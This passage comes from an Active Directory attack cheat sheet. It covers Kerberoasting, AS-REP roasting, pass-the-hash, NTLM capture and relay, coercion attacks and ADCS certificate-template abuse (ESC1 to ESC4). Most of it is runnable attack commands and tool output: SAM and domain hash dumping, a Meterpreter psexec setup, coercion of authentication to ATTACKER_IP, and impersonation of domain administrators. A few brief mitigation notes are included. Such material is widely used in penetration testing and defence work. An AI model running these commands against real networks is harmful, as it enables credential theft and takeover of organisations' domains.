Any valid domain user can request a kerberos ticket (ST) for any domain service. Once the ticket is received, password cracking can be done offline on the ticket to attempt to break the password for whatever user the service is running as.
* [GetUserSPNs](https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetUserSPNs.py) from Impacket Suite
```powershell
$ GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100 -request
Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon
-------------------- ------------- -------------------------------------------------------- ------------------- -------------------
active/CIFS:445 Administrator CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb 2018-07-18 21:06:40 2018-12-03 17:11:11
$krb5tgs$23$*Administrator$ACTIVE.HTB$active/CIFS~445*$424338c0a3c3af43[...]84fd2
```
* CrackMapExec Module
```powershell
$ crackmapexec ldap 10.0.2.11 -u 'username' -p 'password' --kdcHost 10.0.2.11 --kerberoast output.txt
LDAP 10.0.2.11 389 dc01 [*] Windows 10.0 Build 17763 x64 (name:dc01) (domain:lab.local) (signing:True) (SMBv1:False)
LDAP 10.0.2.11 389 dc01 $krb5tgs$23$*john.doe$lab.local$MSSQLSvc/dc01.lab.local~1433*$efea32[...]49a5e82$b28fc61[...]f800f6dcd259ea1fca8f9
```
* [Rubeus](https://github.com/GhostPack/Rubeus)
```powershell
# Stats
Rubeus.exe kerberoast /stats
------------------------------------- ----------------------------------
| Supported Encryption Type | Count | | Password Last Set Year | Count |
------------------------------------- ----------------------------------
| RC4_HMAC_DEFAULT | 1 | | 2021 | 1 |
------------------------------------- ----------------------------------
# Kerberoast (RC4 ticket)
Rubeus.exe kerberoast /creduser:DOMAIN\JOHN /credpassword:MyP@ssW0RD /outfile:hash.txt
# Kerberoast (AES ticket)
# Accounts with AES enabled in msDS-SupportedEncryptionTypes will have RC4 tickets requested.
Rubeus.exe kerberoast /tgtdeleg
# Kerberoast (RC4 ticket)
# The tgtdeleg trick is used, and accounts without AES enabled are enumerated and roasted.
Rubeus.exe kerberoast /rc4opsec
```
* [PowerView](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1)
```powershell
Request-SPNTicket -SPN "MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local"
```
* [bifrost](https://github.com/its-a-feature/bifrost) on **macOS** machine
```powershell
./bifrost -action asktgs -ticket doIF<...snip...>QUw= -service host/dc1-lab.lab.local -kerberoast true
```
* [targetedKerberoast](https://github.com/ShutdownRepo/targetedKerberoast)
```powershell
# for each user without SPNs, it tries to set one (abuse of a write permission on the servicePrincipalName attribute),
# print the "kerberoast" hash, and delete the temporary SPN set for that operation
targetedKerberoast.py [-h] [-v] [-q] [-D TARGET_DOMAIN] [-U USERS_FILE] [--request-user username] [-o OUTPUT_FILE] [--use-ldaps] [--only-abuse] [--no-abuse] [--dc-ip ip address] [-d DOMAIN] [-u USER] [-k] [--no-pass | -p PASSWORD | -H [LMHASH:]NTHASH | --aes-key hex key]
```
Then crack the ticket using the correct hashcat mode (`$krb5tgs$23`= `etype 23`)
| Mode | Description |
|---------|--------------|
| `13100` | Kerberos 5 TGS-REP etype 23 (RC4) |
| `19600` | Kerberos 5 TGS-REP etype 17 (AES128-CTS-HMAC-SHA1-96) |
| `19700` | Kerberos 5 TGS-REP etype 18 (AES256-CTS-HMAC-SHA1-96) |
```powershell
./hashcat -m 13100 -a 0 kerberos_hashes.txt crackstation.txt
./john --wordlist=/opt/wordlists/rockyou.txt --fork=4 --format=krb5tgs ~/kerberos_hashes.txt
```
Mitigations:
* Have a very long password for your accounts with SPNs (> 32 characters)
* Make sure no users have SPNs
## KRB_AS_REP Roasting
> If a domain user does not have Kerberos preauthentication enabled, an AS-REP can be successfully requested for the user, and a component of the structure can be cracked offline a la kerberoasting
**Requirements**:
- Accounts with the attribute **DONT_REQ_PREAUTH** (`PowerView > Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose`)
* [Rubeus](https://github.com/GhostPack/Rubeus)
```powershell
C:\Rubeus>Rubeus.exe asreproast /user:TestOU3user /format:hashcat /outfile:hashes.asreproast
[*] Action: AS-REP roasting
[*] Target User : TestOU3user
[*] Target Domain : testlab.local
[*] SamAccountName : TestOU3user
[*] DistinguishedName : CN=TestOU3user,OU=TestOU3,OU=TestOU2,OU=TestOU1,DC=testlab,DC=local
[*] Using domain controller: testlab.local (192.168.52.100)
[*] Building AS-REQ (w/o preauth) for: 'testlab.local\TestOU3user'
[*] Connecting to 192.168.52.100:88
[*] Sent 169 bytes
[*] Received 1437 bytes
[+] AS-REQ w/o preauth successful!
[*] AS-REP hash:
$krb5asrep$TestOU3user@testlab.local:858B6F645D9F9B57210292E5711E0...(snip)...
```
* [GetNPUsers](https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetNPUsers.py) from Impacket Suite
```powershell
$ python GetNPUsers.py htb.local/svc-alfresco -no-pass
[*] Getting TGT for svc-alfresco
$krb5asrep$23$svc-alfresco@HTB.LOCAL:c13528009a59be0a634bb9b8e84c88ee$cb8e87d02bd0ac7a[...]e776b4
# extract hashes
root@kali:impacket-examples$ python GetNPUsers.py jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast
root@kali:impacket-examples$ python GetNPUsers.py jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile hashes.asreproast
```
* CrackMapExec Module
```powershell
$ crackmapexec ldap 10.0.2.11 -u 'username' -p 'password' --kdcHost 10.0.2.11 --asreproast output.txt
LDAP 10.0.2.11 389 dc01 $krb5asrep$23$john.doe@LAB.LOCAL:5d1f750[...]2a6270d7$096fc87726c64e545acd4687faf780[...]13ea567d5
```
Using `hashcat` or `john` to crack the ticket.
```powershell
# crack AS_REP messages with hashcat
root@kali:impacket-examples$ hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt
root@windows:hashcat$ hashcat64.exe -m 18200 '<AS_REP-hash>' -a 0 c:\wordlists\rockyou.txt
# crack AS_REP messages with john
C:\Rubeus> john --format=krb5asrep --wordlist=passwords_kerb.txt hashes.asreproast
```
**Mitigations**:
* All accounts must have "Kerberos Pre-Authentication" enabled (Enabled by Default).
## CVE-2022-33679
> CVE-2022-33679 performs an encryption downgrade attack by forcing the KDC to use the RC4-MD4 algorithm and then brute forcing the session key from the AS-REP using a known plaintext attack, Similar to AS-REP Roasting, it works against accounts that have pre-authentication disabled and the attack is unauthenticated meaning we don’t need a client’s password..
Research from Project Zero : https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html
**Requirements**:
- Accounts with the attribute **DONT_REQ_PREAUTH** (`PowerView > Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose`)
* using [CVE-2022-33679.py](https://github.com/Bdenneu/CVE-2022-33679)
```bash
user@hostname:~$ python CVE-2022-33679.py DOMAIN.LOCAL/User DC01.DOMAIN.LOCAL
user@hostname:~$ export KRB5CCNAME=/home/project/User.ccache
user@hostname:~$ crackmapexec smb DC01.DOMAIN.LOCAL -k --shares
```
**Mitigations**:
* All accounts must have "Kerberos Pre-Authentication" enabled (Enabled by Default).
* Disable RC4 cipher if possible.
## Timeroasting
> Timeroasting takes advantage of Windows' NTP authentication mechanism, allowing unauthenticated attackers to effectively request a password hash of any computer account by sending an NTP request with that account's RID
* [SecuraBV/Timeroast](https://github.com/SecuraBV/Timeroast) - Timeroasting scripts by Tom Tervoort
```ps1
sudo ./timeroast.py 10.0.0.42 | tee ntp-hashes.txt
hashcat -m 31300 ntp-hashes.txt
```
## Pass-the-Hash
The types of hashes you can use with Pass-The-Hash are NT or NTLM hashes. Since Windows Vista, attackers have been unable to pass-the-hash to local admin accounts that weren’t the built-in RID 500.
* Metasploit
```powershell
use exploit/windows/smb/psexec
set RHOST 10.2.0.3
set SMBUser jarrieta
set SMBPass nastyCutt3r
# NOTE1: The password can be replaced by a hash to execute a `pass the hash` attack.
# NOTE2: Require the full NT hash, you may need to add the "blank" LM (aad3b435b51404eeaad3b435b51404ee)
set PAYLOAD windows/meterpreter/bind_tcp
run
shell
```
* CrackMapExec
```powershell
cme smb 10.2.0.2/24 -u jarrieta -H 'aad3b435b51404eeaad3b435b51404ee:489a04c09a5debbc9b975356693e179d' -x "whoami"
```
* Impacket suite
```powershell
proxychains python ./psexec.py jarrieta@10.2.0.2 -hashes :489a04c09a5debbc9b975356693e179d
```
* Windows RDP and mimikatz
```powershell
sekurlsa::pth /user:Administrator /domain:contoso.local /ntlm:b73fdfe10e87b4ca5c0d957f81de6863
sekurlsa::pth /user:<user name> /domain:<domain name> /ntlm:<the users ntlm hash> /run:"mstsc.exe /restrictedadmin"
```
You can extract the local **SAM database** to find the local administrator hash :
```powershell
C:\> reg.exe save hklm\sam c:\temp\sam.save
C:\> reg.exe save hklm\security c:\temp\security.save
C:\> reg.exe save hklm\system c:\temp\system.save
$ secretsdump.py -sam sam.save -security security.save -system system.save LOCAL
```
## OverPass-the-Hash (pass the key)
In this technique, instead of passing the hash directly, we use the NT hash of an account to request a valid Kerberost ticket (TGT).
### Using impacket
```bash
root@kali:~$ python ./getTGT.py -hashes ":1a59bd44fe5bec39c44c8cd3524dee" lab.ropnop.com
root@kali:~$ export KRB5CCNAME="/root/impacket-examples/velociraptor.ccache"
root@kali:~$ python3 psexec.py "jurassic.park/velociraptor@labwws02.jurassic.park" -k -no-pass
# also with the AES Key if you have it
root@kali:~$ ./getTGT.py -aesKey xxxxxxxxxxxxxxkeyaesxxxxxxxxxxxxxxxx lab.ropnop.com
root@kali:~$ ktutil -k ~/mykeys add -p tgwynn@LAB.ROPNOP.COM -e arcfour-hma-md5 -w 1a59bd44fe5bec39c44c8cd3524dee --hex -V 5
root@kali:~$ kinit -t ~/mykers tgwynn@LAB.ROPNOP.COM
root@kali:~$ klist
```
### Using Rubeus
```powershell
# Request a TGT as the target user and pass it into the current session
# NOTE: Make sure to clear tickets in the current session (with 'klist purge') to ensure you don't have multiple active TGTs
.\Rubeus.exe asktgt /user:Administrator /rc4:[NTLMHASH] /ptt
# More stealthy variant, but requires the AES256 hash
.\Rubeus.exe asktgt /user:Administrator /aes256:[AES256HASH] /opsec /ptt
# Pass the ticket to a sacrificial hidden process, allowing you to e.g. steal the token from this process (requires elevation)
.\Rubeus.exe asktgt /user:Administrator /rc4:[NTLMHASH] /createnetonly:C:\Windows\System32\cmd.exe
```
## Capturing and cracking Net-NTLMv1/NTLMv1 hashes
> Net-NTLM (NTLMv1) hashes are used for network authentication (they are derived from a challenge/response algorithm and are based on the user's NT hash.
:information_source: : Coerce a callback using PetitPotam or SpoolSample on an affected machine and downgrade the authentication to **NetNTLMv1 Challenge/Response authentication**. This uses the outdated encryption method DES to protect the NT/LM Hashes.
**Requirements**:
* LmCompatibilityLevel = 0x1: Send LM & NTLM (`reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v lmcompatibilitylevel`)
**Exploitation**:
* Capturing using Responder: Edit the `/etc/responder/Responder.conf` file to include the magical **1122334455667788** challenge
```ps1
HTTPS = On
DNS = On
LDAP = On
...
; Custom challenge.
; Use "Random" for generating a random challenge for each requests (Default)
Challenge = 1122334455667788
```
* Fire Responder: `responder -I eth0 --lm`, if `--disable-ess` is set, extended session security will be disabled for NTLMv1 authentication
* Force a callback:
```ps1
PetitPotam.exe Responder-IP DC-IP # Patched around August 2021
PetitPotam.py -u Username -p Password -d Domain -dc-ip DC-IP Responder-IP DC-IP # Not patched for authenticated users
```
* If you got some `NTLMv1 hashes`, you need to format them to submit them on [crack.sh](https://crack.sh/netntlm/)
```ps1
username::hostname:response:response:challenge -> NTHASH:response
NTHASH:F35A3FE17DCB31F9BE8A8004B3F310C150AFA36195554972
```
* Or crack them with Hashcat / John The Ripper
```ps1
john --format=netntlm hash.txt
hashcat -m 5500 -a 3 hash.txt
```
* Now you can DCSync using the Pass-The-Hash with the DC machine account
:warning: NTLMv1 with SSP(Security Support Provider) changes the server challenge and is not quite ideal for the attack, but it can be used.
**Mitigations**:
* Set the Lan Manager authentication level to `Send NTLMv2 responses only. Refuse LM & NTLM`
## Capturing and cracking Net-NTLMv2/NTLMv2 hashes
If any user in the network tries to access a machine and mistype the IP or the name, Responder will answer for it and ask for the NTLMv2 hash to access the resource. Responder will poison `LLMNR`, `MDNS` and `NETBIOS` requests on the network.
```powershell
# https://github.com/lgandx/Responder
$ sudo ./Responder.py -I eth0 -wfrd -P -v
# https://github.com/Kevin-Robertson/InveighZero
PS > .\inveighzero.exe -FileOutput Y -NBNS Y -mDNS Y -Proxy Y -MachineAccounts Y -DHCPv6 Y -LLMNRv6 Y [-Elevated N]
# https://github.com/EmpireProject/Empire/blob/master/data/module_source/collection/Invoke-Inveigh.ps1
PS > Invoke-Inveigh [-IP '10.10.10.10'] -ConsoleOutput Y -FileOutput Y -NBNS Y –mDNS Y –Proxy Y -MachineAccounts Y
```
Crack the hashes with Hashcat / John The Ripper
```ps1
john --format=netntlmv2 hash.txt
hashcat -m 5600 -a 3 hash.txt
```
## Man-in-the-Middle attacks & relaying
NTLMv1 and NTLMv2 can be relayed to connect to another machine.
| Hash | Hashcat | Attack method |
|---|---|---|
| LM | `3000` | crack/pass the hash |
| NTLM/NTHash | `1000` | crack/pass the hash |
| NTLMv1/Net-NTLMv1 | `5500` | crack/relay attack |
| NTLMv2/Net-NTLMv2 | `5600` | crack/relay attack |
Crack the hash with `hashcat`.
```powershell
hashcat -m 5600 -a 0 hash.txt crackstation.txt
```
### MS08-068 NTLM reflection
NTLM reflection vulnerability in the SMB protocolOnly targeting Windows 2000 to Windows Server 2008.
> This vulnerability allows an attacker to redirect an incoming SMB connection back to the machine it came from and then access the victim machine using the victim’s own credentials.
* https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS08-068
```powershell
msf > use exploit/windows/smb/smb_relay
msf exploit(smb_relay) > show targets
```
### LDAP signing not required and LDAP channel binding disabled
During security assessment, sometimes we don't have any account to perform the audit. Therefore we can inject ourselves into the Active Directory by performing NTLM relaying attack. For this technique three requirements are needed:
* LDAP signing not required (by default set to `Not required`)
* LDAP channel binding is disabled. (by default disabled)
* `ms-DS-MachineAccountQuota` needs to be at least at 1 for the account relayed (10 by default)
Then we can use a tool to poison `LLMNR`, `MDNS` and `NETBIOS` requests on the network such as `Responder` and use `ntlmrelayx` to add our computer.
```bash
# On first terminal
sudo ./Responder.py -I eth0 -wfrd -P -v
# On second terminal
sudo python ./ntlmrelayx.py -t ldaps://IP_DC --add-computer
```
It is required here to relay to LDAP over TLS because creating accounts is not allowed over an unencrypted connection.
### SMB Signing Disabled and IPv4
If a machine has `SMB signing`:`disabled`, it is possible to use Responder with Multirelay.py script to perform an `NTLMv2 hashes relay` and get a shell access on the machine. Also called **LLMNR/NBNS Poisoning**
1. Open the Responder.conf file and set the value of `SMB` and `HTTP` to `Off`.
```powershell
[Responder Core]
; Servers to start
...
SMB = Off # Turn this off
HTTP = Off # Turn this off
```
2. Run `python RunFinger.py -i IP_Range` to detect machine with `SMB signing`:`disabled`.
3. Run `python Responder.py -I <interface_card>`
4. Use a relay tool such as `ntlmrelayx` or `MultiRelay`
- `impacket-ntlmrelayx -tf targets.txt` to dump the SAM database of the targets in the list.
- `python MultiRelay.py -t <target_machine_IP> -u ALL`
5. ntlmrelayx can also act as a SOCK proxy with every compromised sessions.
```powershell
$ impacket-ntlmrelayx -tf /tmp/targets.txt -socks -smb2support
[*] Servers started, waiting for connections
Type help for list of commands
ntlmrelayx> socks
Protocol Target Username Port
-------- -------------- ------------------------ ----
MSSQL 192.168.48.230 VULNERABLE/ADMINISTRATOR 1433
SMB 192.168.48.230 CONTOSO/NORMALUSER1 445
MSSQL 192.168.48.230 CONTOSO/NORMALUSER1 1433
# You might need to select a target with "-t"
# smb://, mssql://, http://, https://, imap://, imaps://, ldap://, ldaps:// and smtp://
impacket-ntlmrelayx -t mssql://10.10.10.10 -socks -smb2support
impacket-ntlmrelayx -t smb://10.10.10.10 -socks -smb2support
# the socks proxy can then be used with your Impacket tools or CrackMapExec
$ proxychains impacket-smbclient //192.168.48.230/Users -U contoso/normaluser1
$ proxychains impacket-mssqlclient DOMAIN/USER@10.10.10.10 -windows-auth
$ proxychains crackmapexec mssql 10.10.10.10 -u user -p '' -d DOMAIN -q "SELECT 1"
```
**Mitigations**:
* Disable LLMNR via group policy
```powershell
Open gpedit.msc and navigate to Computer Configuration > Administrative Templates > Network > DNS Client > Turn off multicast name resolution and set to Enabled
```
* Disable NBT-NS
```powershell
This can be achieved by navigating through the GUI to Network card > Properties > IPv4 > Advanced > WINS and then under "NetBIOS setting" select Disable NetBIOS over TCP/IP
```
### SMB Signing Disabled and IPv6
Since [MS16-077](https://docs.microsoft.com/en-us/security-updates/securitybulletins/2016/ms16-077) the location of the WPAD file is no longer requested via broadcast protocols, but only via DNS.
```powershell
crackmapexec smb $hosts --gen-relay-list relay.txt
# DNS takeover via IPv6, mitm6 will request an IPv6 address via DHCPv6
# -d is the domain name that we filter our request on - the attacked domain
# -i is the interface we have mitm6 listen on for events
mitm6 -i eth0 -d $domain
# spoofing WPAD and relaying NTLM credentials
impacket-ntlmrelayx -6 -wh $attacker_ip -of loot -tf relay.txt
impacket-ntlmrelayx -6 -wh $attacker_ip -l /tmp -socks -debug
# -ip is the interface you want the relay to run on
# -wh is for WPAD host, specifying your wpad file to serve
# -t is the target where you want to relay to.
impacket-ntlmrelayx -ip 10.10.10.1 -wh $attacker_ip -t ldaps://10.10.10.2
```
### Drop the MIC
> The CVE-2019-1040 vulnerability makes it possible to modify the NTLM authentication packets without invalidating the authentication, and thus enabling an attacker to remove the flags which would prevent relaying from SMB to LDAP
Check vulnerability with [cve-2019-1040-scanner](https://github.com/fox-it/cve-2019-1040-scanner)
```powershell
python2 scanMIC.py 'DOMAIN/USERNAME:PASSWORD@TARGET'
[*] CVE-2019-1040 scanner by @_dirkjan / Fox-IT - Based on impacket by SecureAuth
[*] Target TARGET is not vulnerable to CVE-2019-1040 (authentication was rejected)
```
- Using any AD account, connect over SMB to a victim Exchange server, and trigger the SpoolService bug. The attacker server will connect back to you over SMB, which can be relayed with a modified version of ntlmrelayx to LDAP. Using the relayed LDAP authentication, grant DCSync privileges to the attacker account. The attacker account can now use DCSync to dump all password hashes in AD
```powershell
TERM1> python printerbug.py testsegment.local/username@s2012exc.testsegment.local <attacker ip/hostname>
TERM2> ntlmrelayx.py --remove-mic --escalate-user ntu -t ldap://s2016dc.testsegment.local -smb2support
TERM1> secretsdump.py testsegment/ntu@s2016dc.testsegment.local -just-dc
```
- Using any AD account, connect over SMB to the victim server, and trigger the SpoolService bug. The attacker server will connect back to you over SMB, which can be relayed with a modified version of ntlmrelayx to LDAP. Using the relayed LDAP authentication, grant Resource Based Constrained Delegation privileges for the victim server to a computer account under the control of the attacker. The attacker can now authenticate as any user on the victim server.
```powershell
# create a new machine account
TERM1> ntlmrelayx.py -t ldaps://rlt-dc.relaytest.local --remove-mic --delegate-access -smb2support
TERM2> python printerbug.py relaytest.local/username@second-dc-server 10.0.2.6
TERM1> getST.py -spn host/second-dc-server.local 'relaytest.local/MACHINE$:PASSWORD' -impersonate DOMAIN_ADMIN_USER_NAME
# connect using the ticket
export KRB5CCNAME=DOMAIN_ADMIN_USER_NAME.ccache
secretsdump.py -k -no-pass second-dc-server.local -just-dc
```
### Ghost Potato - CVE-2019-1384
Requirements:
* User must be a member of the local Administrators group
* User must be a member of the Backup Operators group
* Token must be elevated
Using a modified version of ntlmrelayx : https://shenaniganslabs.io/files/impacket-ghostpotato.zip
```powershell
ntlmrelayx -smb2support --no-smb-server --gpotato-startup rat.exe
```
### RemotePotato0 DCOM DCE RPC relay
> It abuses the DCOM activation service and trigger an NTLM authentication of the user currently logged on in the target machine
Requirements:
- a shell in session 0 (e.g. WinRm shell or SSH shell)
- a privileged user is logged on in the session 1 (e.g. a Domain Admin user)
```powershell
# https://github.com/antonioCoco/RemotePotato0/
Terminal> sudo socat TCP-LISTEN:135,fork,reuseaddr TCP:192.168.83.131:9998 & # Can be omitted for Windows Server <= 2016
Terminal> sudo ntlmrelayx.py -t ldap://192.168.83.135 --no-wcf-server --escalate-user winrm_user_1
Session0> RemotePotato0.exe -r 192.168.83.130 -p 9998 -s 2
Terminal> psexec.py 'LAB/winrm_user_1:Password123!@192.168.83.135'
```
### DNS Poisonning - Relay delegation with mitm6
Requirements:
- IPv6 enabled (Windows prefers IPV6 over IPv4)
- LDAP over TLS (LDAPS)
> ntlmrelayx relays the captured credentials to LDAP on the domain controller, uses that to create a new machine account, print the account's name and password and modifies the delegation rights of it.
```powershell
git clone https://github.com/fox-it/mitm6.git
cd /opt/tools/mitm6
pip install .
mitm6 -hw ws02 -d lab.local --ignore-nofqnd
# -d: the domain name that we filter our request on (the attacked domain)
# -i: the interface we have mitm6 listen on for events
# -hw: host whitelist
ntlmrelayx.py -ip 10.10.10.10 -t ldaps://dc01.lab.local -wh attacker-wpad
ntlmrelayx.py -ip 10.10.10.10 -t ldaps://dc01.lab.local -wh attacker-wpad --add-computer
# -ip: the interface you want the relay to run on
# -wh: WPAD host, specifying your wpad file to serve
# -t: the target where you want to relay to
# now granting delegation rights and then do a RBCD
ntlmrelayx.py -t ldaps://dc01.lab.local --delegate-access --no-smb-server -wh attacker-wpad
getST.py -spn cifs/target.lab.local lab.local/GENERATED\$ -impersonate Administrator
export KRB5CCNAME=administrator.ccache
secretsdump.py -k -no-pass target.lab.local
```
### Relaying with WebDav Trick
> Example of exploitation where you can coerce machine accounts to authenticate to a host and combine it with Resource Based Constrained Delegation to gain elevated access. It allows attackers to elicit authentications made over HTTP instead of SMB
**Requirement**:
* WebClient service
**Exploitation**:
* Disable HTTP in Responder: `sudo vi /usr/share/responder/Responder.conf`
* Generate a Windows machine name: `sudo responder -I eth0`, e.g: WIN-UBNW4FI3AP0
* Prepare for RBCD against the DC: `python3 ntlmrelayx.py -t ldaps://dc --delegate-access -smb2support`
* Discover WebDAV services
```ps1
webclientservicescanner 'domain.local'/'user':'password'@'machine'
crackmapexec smb 'TARGETS' -d 'domain' -u 'user' -p 'password' -M webdav
GetWebDAVStatus.exe 'machine'
```
* Trigger the authentication to relay to our nltmrelayx: `PetitPotam.exe WIN-UBNW4FI3AP0@80/test.txt 10.0.0.4`, the listener host must be specified with the FQDN or full netbios name like `logger.domain.local@80/test.txt`. Specifying the IP results in anonymous auth instead of System.
```ps1
# PrinterBug
dementor.py -d "DOMAIN" -u "USER" -p "PASSWORD" "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt" "ATTACKER_IP"
SpoolSample.exe "ATTACKER_IP" "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt"
# PetitPotam
Petitpotam.py "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt" "ATTACKER_IP"
Petitpotam.py -d "DOMAIN" -u "USER" -p "PASSWORD" "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt" "ATTACKER_IP"
PetitPotam.exe "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt" "ATTACKER_IP"
```
* Use the created account to ask for a service ticket:
```ps1
.\Rubeus.exe hash /domain:purple.lab /user:WVLFLLKZ$ /password:'iUAL)l<i$;UzD7W'
.\Rubeus.exe s4u /user:WVLFLLKZ$ /aes256:E0B3D87B512C218D38FAFDBD8A2EC55C83044FD24B6D740140C329F248992D8F /impersonateuser:Administrator /msdsspn:host/pc1.purple.lab /altservice:cifs /nowrap /ptt
ls \\PC1.purple.lab\c$
# IP of PC1: 10.0.0.4
```
### Man-in-the-middle RDP connections with pyrdp-mitm
* https://github.com/GoSecure/pyrdp
* https://www.gosecure.net/blog/2018/12/19/rdp-man-in-the-middle-smile-youre-on-camera/
* Usage
```sh
pyrdp-mitm.py <IP>
pyrdp-mitp.py <IP>:<PORT> # with custom port
pyrdp-mitm.py <IP> -k private_key.pem -c certificate.pem # with custom key and certificate
```
* Exploitation
* If Network Level Authentication (NLA) is enabled, you will obtain the client's NetNTLMv2 challenge
* If NLA is disabled, you will obtain the password in plaintext
* Other features are available such as keystroke recording
* Alternatives
* S3th: https://github.com/SySS-Research/Seth, performs ARP spoofing prior to launching the RDP listener
## Active Directory Certificate Services
* Find ADCS Server
* `crackmapexec ldap domain.lab -u username -p password -M adcs`
* `ldapsearch -H ldap://dc_IP -x -LLL -D 'CN=<user>,OU=Users,DC=domain,DC=local' -w '<password>' -b "CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=CONFIGURATION,DC=domain,DC=local" dNSHostName`
* Enumerate AD Enterprise CAs with certutil: `certutil.exe -config - -ping`, `certutil -dump`
### ESC1 - Misconfigured Certificate Templates
> Domain Users can enroll in the **VulnTemplate** template, which can be used for client authentication and has **ENROLLEE_SUPPLIES_SUBJECT** set. This allows anyone to enroll in this template and specify an arbitrary Subject Alternative Name (i.e. as a DA). Allows additional identities to be bound to a certificate beyond the Subject.
**Requirements**
* Template that allows for AD authentication
* **ENROLLEE_SUPPLIES_SUBJECT** flag
* [PKINIT] Client Authentication, Smart Card Logon, Any Purpose, or No EKU (Extended/Enhanced Key Usage)
**Exploitation**
* Use [Certify.exe](https://github.com/GhostPack/Certify) to see if there are any vulnerable templates
```ps1
Certify.exe find /vulnerable
Certify.exe find /vulnerable /currentuser
# or
PS> Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))' -SearchBase 'CN=Configuration,DC=lab,DC=local'
# or
certipy 'domain.local'/'user':'password'@'domaincontroller' find -bloodhound
```
* Use Certify, [Certi](https://github.com/eloypgz/certi) or [Certipy](https://github.com/ly4k/Certipy) to request a Certificate and add an alternative name (user to impersonate)
```ps1
# request certificates for the machine account by executing Certify with the "/machine" argument from an elevated command prompt.
Certify.exe request /ca:dc.domain.local\domain-DC-CA /template:VulnTemplate /altname:domadmin
certi.py req 'contoso.local/Anakin@dc01.contoso.local' contoso-DC01-CA -k -n --alt-name han --template UserSAN
certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC1' -alt 'administrator@corp.local'
```
* Use OpenSSL and convert the certificate, do not enter a password
```ps1
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
```
* Move the cert.pfx to the target machine filesystem and request a TGT for the altname user using Rubeus
```ps1
Rubeus.exe asktgt /user:domadmin /certificate:C:\Temp\cert.pfx
```
**WARNING**: These certificates will still be usable even if the user or computer resets their password!
**NOTE**: Look for **EDITF_ATTRIBUTESUBJECTALTNAME2**, **CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT**, **ManageCA** flags, and NTLM Relay to AD CS HTTP Endpoints.
### ESC2 - Misconfigured Certificate Templates
**Requirements**
* Allows requesters to specify a Subject Alternative Name (SAN) in the CSR as well as allows Any Purpose EKU (2.5.29.37.0)
**Exploitation**
* Find template
```ps1
PS > Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))' -SearchBase 'CN=Configuration,DC=megacorp,DC=local'
```
* Request a certificate specifying the `/altname` as a domain admin like in [ESC1](#esc1---misconfigured-certificate-templates).
### ESC3 - Misconfigured Enrollment Agent Templates
> ESC3 is when a certificate template specifies the Certificate Request Agent EKU (Enrollment Agent). This EKU can be used to request certificates on behalf of other users
* Request a certificate based on the vulnerable certificate template ESC3.
```ps1
$ certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC3'
[*] Saved certificate and private key to 'john.pfx'
```
* Use the Certificate Request Agent certificate (-pfx) to request a certificate on behalf of other another user
```ps1
$ certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'User' -on-behalf-of 'corp\administrator' -pfx 'john.pfx'
```
### ESC4 - Access Control Vulnerabilities
> Enabling the `mspki-certificate-name-flag` flag for a template that allows for domain authentication, allow attackers to "push a misconfiguration to a template leading to ESC1 vulnerability
* Search for `WriteProperty` with value `00000000-0000-0000-0000-000000000000` using [modifyCertTemplate](https://github.com/fortalice/modifyCertTemplate)
```ps1
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -get-acl
```
* Add the `ENROLLEE_SUPPLIES_SUBJECT` (ESS) flag to perform ESC1
```ps1
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -add enrollee_supplies_subject -property mspki-Certificate-Name-Flag
# Add/remove ENROLLEE_SUPPLIES_SUBJECT flag from the WebServer template.
C:\>StandIn.exe --adcs --filter WebServer --ess --add
```
* Perform ESC1 and then restore the value
```ps1
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -value 0 -property mspki-Certificate-Name-Flag
```
Using Certipy
```ps1
# overwrite the configuration to make it vulnerable to ESC1
certipy template 'corp.local/johnpc$@ca.corp.local' -hashes :fc525c9683e8fe067095ba2ddc971889 -template 'ESC4' -save-old
# request a certificate based on the ESC4 template, just like ESC1.
certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC4' -alt 'administrator@corp.local'
# restore the old configuration
